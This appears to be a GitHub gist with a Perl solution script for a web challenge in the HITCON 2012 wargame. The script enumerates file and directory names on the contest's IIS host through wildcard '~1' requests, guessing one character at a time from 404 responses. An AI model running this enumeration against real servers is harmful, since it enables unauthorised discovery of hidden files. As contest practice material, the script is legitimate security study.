Instantly share code, notes, and snippets.

@dm4 /web5.pl
Created Jul 26, 2012

Embed
What would you like to do?
HITCON 2012 Wargame Web 5
#!/usr/bin/perl -w
use 5.010;
use LWP;
use URI::Escape;
use strict;
my $str = 'abcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-=[]\\{}|;\':",./<>? ';
my @chars = map { uri_escape($_) } split //, $str;
my @stack;
#my $path = 'hkey_local_machine/system/currentcontrolset/';
my $path = '';
my $browser = LWP::UserAgent->new;
for (@chars) {
my $url = 'http://wg2.hack.idv.tw:2012/'.uri_escape($path.$_.'*~1*/.aspx');
my $response = $browser->get( $url );
my $r = $response->status_line;
if ($r =~ /^404/) {
say;
push @stack, $_;
}
}
while ($#stack >= 0) {
my $pre = pop @stack;
for (@chars) {
my $url = 'http://wg2.hack.idv.tw:2012/'.uri_escape($path.$pre.$_.'*~1*/.aspx');
my $response = $browser->get( $url );
my $r = $response->status_line;
if ($r =~ /^404/) {
say $pre.$_;
push @stack, $pre.$_;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment